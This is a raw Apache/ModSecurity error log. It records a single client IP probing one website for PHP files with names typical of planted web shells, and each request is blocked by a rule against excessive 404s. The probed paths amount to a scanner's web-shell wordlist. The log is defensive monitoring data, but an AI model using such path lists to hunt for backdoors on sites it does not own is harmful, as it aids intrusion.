[Sat May 16 10:37:29.113529 2026] [:error] [pid 61411:tid 61420] [client 20.151.206.3:27132] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "agfYaWVkiEwGnPL_dvHJNwAAAYc"]
[Sat May 16 10:37:29.530089 2026] [:error] [pid 61463:tid 61465] [client 20.151.206.3:27472] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "agfYaTXdL1WU7nYXPmTZfQAAAcA"]
[Sat May 16 10:37:29.946335 2026] [:error] [pid 61411:tid 61437] [client 20.151.206.3:27094] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "agfYaWVkiEwGnPL_dvHJOAAAAZg"]
[Sat May 16 10:37:30.365057 2026] [:error] [pid 62210:tid 62218] [client 20.151.206.3:27445] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pp.php"] [unique_id "agfYasjHonCA4ORo40GwiAAAAkY"]
[Sat May 16 10:37:30.782677 2026] [:error] [pid 61463:tid 61487] [client 20.151.206.3:27097] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mar.php"] [unique_id "agfYajXdL1WU7nYXPmTZfgAAAdY"]
[Sat May 16 10:37:31.195454 2026] [:error] [pid 61411:tid 61423] [client 20.151.206.3:27328] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mar.php"] [unique_id "agfYa2VkiEwGnPL_dvHJOQAAAYo"]
[Sat May 16 10:37:31.608044 2026] [:error] [pid 61411:tid 61435] [client 20.151.206.3:27118] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mar.php"] [unique_id "agfYa2VkiEwGnPL_dvHJOgAAAZY"]
[Sat May 16 10:37:32.026617 2026] [:error] [pid 61411:tid 61419] [client 20.151.206.3:27556] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mar.php"] [unique_id "agfYbGVkiEwGnPL_dvHJOwAAAYY"]
[Sat May 16 10:37:32.446034 2026] [:error] [pid 61411:tid 61421] [client 20.151.206.3:27443] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agfYbGVkiEwGnPL_dvHJPQAAAYg"]
[Sat May 16 10:37:32.866197 2026] [:error] [pid 61411:tid 61414] [client 20.151.206.3:27131] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agfYbGVkiEwGnPL_dvHJPgAAAYE"]
[Sat May 16 10:37:33.277985 2026] [:error] [pid 61411:tid 61425] [client 20.151.206.3:27488] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agfYbWVkiEwGnPL_dvHJPwAAAYw"]
[Sat May 16 10:37:33.694959 2026] [:error] [pid 24979:tid 24986] [client 20.151.206.3:27116] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes.php"] [unique_id "agfYbbvSFUQiwLaOL2pjXAAAAMU"]
[Sat May 16 10:37:34.113296 2026] [:error] [pid 24979:tid 24994] [client 20.151.206.3:27519] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "agfYbrvSFUQiwLaOL2pjXQAAAM0"]
[Sat May 16 10:37:34.526769 2026] [:error] [pid 24979:tid 24996] [client 20.151.206.3:27434] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "agfYbrvSFUQiwLaOL2pjXwAAAM8"]
[Sat May 16 10:37:34.940656 2026] [:error] [pid 61361:tid 61382] [client 20.151.206.3:27111] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "agfYbpZojzbt3jGziNkGlAAAAVM"]
[Sat May 16 10:37:35.357269 2026] [:error] [pid 61361:tid 61385] [client 20.151.206.3:27463] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acp.php"] [unique_id "agfYb5Zojzbt3jGziNkGlgAAAVY"]
[Sat May 16 10:37:35.800305 2026] [:error] [pid 61411:tid 61415] [client 20.151.206.3:27455] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "agfYb2VkiEwGnPL_dvHJQAAAAYI"]
[Sat May 16 10:37:36.216864 2026] [:error] [pid 24979:tid 24992] [client 20.151.206.3:27108] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "agfYcLvSFUQiwLaOL2pjYQAAAMs"]
[Sat May 16 10:37:36.654821 2026] [:error] [pid 24979:tid 24989] [client 20.151.206.3:27402] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "agfYcLvSFUQiwLaOL2pjYgAAAMg"]
[Sat May 16 10:37:37.072337 2026] [:error] [pid 24867:tid 24904] [client 20.151.206.3:27497] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zdd.php"] [unique_id "agfYcSDgFLCgyKq-zmYJzwAAABc"]
[Sat May 16 10:37:37.493248 2026] [:error] [pid 5602:tid 5614] [client 20.151.206.3:27072] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "agfYcdzTTsu77r3UIskOJAAAAQo"]
[Sat May 16 10:37:37.908886 2026] [:error] [pid 24867:tid 24895] [client 20.151.206.3:27099] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "agfYcSDgFLCgyKq-zmYJ0AAAAA4"]
[Sat May 16 10:37:38.333311 2026] [:error] [pid 61411:tid 61436] [client 20.151.206.3:27427] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "agfYcmVkiEwGnPL_dvHJQQAAAZc"]
[Sat May 16 10:37:38.758855 2026] [:error] [pid 61411:tid 61424] [client 20.151.206.3:27413] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/link.php"] [unique_id "agfYcmVkiEwGnPL_dvHJQgAAAYs"]
[Sat May 16 10:37:39.206630 2026] [:error] [pid 61463:tid 61486] [client 20.151.206.3:27089] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "agfYczXdL1WU7nYXPmTZfwAAAdU"]
[Sat May 16 10:37:39.621765 2026] [:error] [pid 5602:tid 5620] [client 20.151.206.3:27507] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "agfYc9zTTsu77r3UIskOJQAAARA"]
[Sat May 16 10:37:40.040630 2026] [:error] [pid 24869:tid 24917] [client 20.151.206.3:27124] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "agfYdOxo3FMprMltYl4iPAAAAEk"]
[Sat May 16 10:37:40.457701 2026] [:error] [pid 24874:tid 24937] [client 20.151.206.3:27081] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sallu.php"] [unique_id "agfYdMiii6x3XidYGHHG0AAAAII"]
[Sat May 16 10:37:40.871511 2026] [:error] [pid 24979:tid 24984] [client 20.151.206.3:27418] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "agfYdLvSFUQiwLaOL2pjbwAAAMM"]
[Sat May 16 10:37:41.295466 2026] [:error] [pid 5602:tid 5604] [client 20.151.206.3:27408] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "agfYddzTTsu77r3UIskOJgAAAQA"]
[Sat May 16 10:37:41.712311 2026] [:error] [pid 61361:tid 61372] [client 20.151.206.3:27500] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "agfYdZZojzbt3jGziNkGmwAAAUk"]
[Sat May 16 10:37:42.131500 2026] [:error] [pid 24874:tid 24945] [client 20.151.206.3:27336] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aboute.php"] [unique_id "agfYdsiii6x3XidYGHHG0gAAAIo"]
[Sat May 16 10:37:42.549162 2026] [:error] [pid 61411:tid 61423] [client 20.151.206.3:27599] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "agfYdmVkiEwGnPL_dvHJTAAAAYo"]
[Sat May 16 10:37:43.002010 2026] [:error] [pid 62210:tid 62219] [client 20.151.206.3:27414] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "agfYd8jHonCA4ORo40GwigAAAkc"]
[Sat May 16 10:37:43.421269 2026] [:error] [pid 5602:tid 5619] [client 20.151.206.3:27114] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "agfYd9zTTsu77r3UIskOKAAAAQ8"]
[Sat May 16 10:37:43.861289 2026] [:error] [pid 24867:tid 24902] [client 20.151.206.3:27074] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ayk.php"] [unique_id "agfYdyDgFLCgyKq-zmYJ0wAAABU"]
[Sat May 16 10:37:44.282813 2026] [:error] [pid 5602:tid 5613] [client 20.151.206.3:27367] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agfYeNzTTsu77r3UIskOKQAAAQk"]
[Sat May 16 10:37:44.703641 2026] [:error] [pid 24874:tid 24935] [client 20.151.206.3:27404] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agfYeMiii6x3XidYGHHG1gAAAIA"]
[Sat May 16 10:37:45.123311 2026] [:error] [pid 5602:tid 5621] [client 20.151.206.3:27417] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agfYedzTTsu77r3UIskOKwAAARE"]
[Sat May 16 10:37:45.537548 2026] [:error] [pid 61463:tid 61483] [client 20.151.206.3:27406] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/one.php"] [unique_id "agfYeTXdL1WU7nYXPmTZgAAAAdI"]
[Sat May 16 10:37:45.952528 2026] [:error] [pid 24869:tid 24913] [client 20.151.206.3:27407] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "agfYeexo3FMprMltYl4iPgAAAEU"]
[Sat May 16 10:37:46.364605 2026] [:error] [pid 5602:tid 5625] [client 20.151.206.3:27517] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "agfYetzTTsu77r3UIskOLQAAARU"]
[Sat May 16 10:37:46.786838 2026] [:error] [pid 62341:tid 62356] [client 20.151.206.3:27415] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "agfYeqnvQ59ep-XG78iLlAAAAoo"]
[Sat May 16 10:37:47.215689 2026] [:error] [pid 62210:tid 62223] [client 20.151.206.3:27109] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tx79.php"] [unique_id "agfYe8jHonCA4ORo40GwjAAAAks"]
[Sat May 16 10:37:47.637462 2026] [:error] [pid 62210:tid 62227] [client 20.151.206.3:27436] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "agfYe8jHonCA4ORo40GwjgAAAk8"]
[Sat May 16 10:37:48.059290 2026] [:error] [pid 5602:tid 5610] [client 20.151.206.3:27403] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "agfYfNzTTsu77r3UIskOMAAAAQY"]
[Sat May 16 10:37:48.481452 2026] [:error] [pid 62341:tid 62353] [client 20.151.206.3:27120] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "agfYfKnvQ59ep-XG78iLlQAAAoc"]
[Sat May 16 10:37:48.905617 2026] [:error] [pid 24979:tid 24986] [client 20.151.206.3:27420] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-class.php"] [unique_id "agfYfLvSFUQiwLaOL2pjcQAAAMU"]
[Sat May 16 10:37:49.319709 2026] [:error] [pid 61411:tid 61415] [client 20.151.206.3:27416] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "agfYfWVkiEwGnPL_dvHJTgAAAYI"]
[Sat May 16 10:37:49.732642 2026] [:error] [pid 61411:tid 61426] [client 20.151.206.3:27547] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "agfYfWVkiEwGnPL_dvHJUAAAAY0"]
[Sat May 16 10:37:50.147196 2026] [:error] [pid 24874:tid 24950] [client 20.151.206.3:27100] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "agfYfsiii6x3XidYGHHG2QAAAI8"]
[Sat May 16 10:37:50.597705 2026] [:error] [pid 62341:tid 62365] [client 20.151.206.3:27266] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "agfYfqnvQ59ep-XG78iLmAAAApM"]
[Sat May 16 10:37:51.032391 2026] [:error] [pid 61411:tid 61431] [client 20.151.206.3:27393] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "agfYf2VkiEwGnPL_dvHJVAAAAZI"]
[Sat May 16 10:37:51.445493 2026] [:error] [pid 24979:tid 24994] [client 20.151.206.3:27411] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "agfYf7vSFUQiwLaOL2pjcgAAAM0"]
[Sat May 16 10:37:51.863476 2026] [:error] [pid 61411:tid 61422] [client 20.151.206.3:27085] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "agfYf2VkiEwGnPL_dvHJWAAAAYk"]
[Sat May 16 10:37:52.281979 2026] [:error] [pid 61411:tid 61418] [client 20.151.206.3:27504] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/options.php"] [unique_id "agfYgGVkiEwGnPL_dvHJWgAAAYU"]
[Sat May 16 10:37:52.703748 2026] [:error] [pid 61411:tid 61432] [client 20.151.206.3:27433] [client 20.151.206.3] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/f5.php"] [unique_id "agfYgGVkiEwGnPL_dvHJXQAAAZM"]
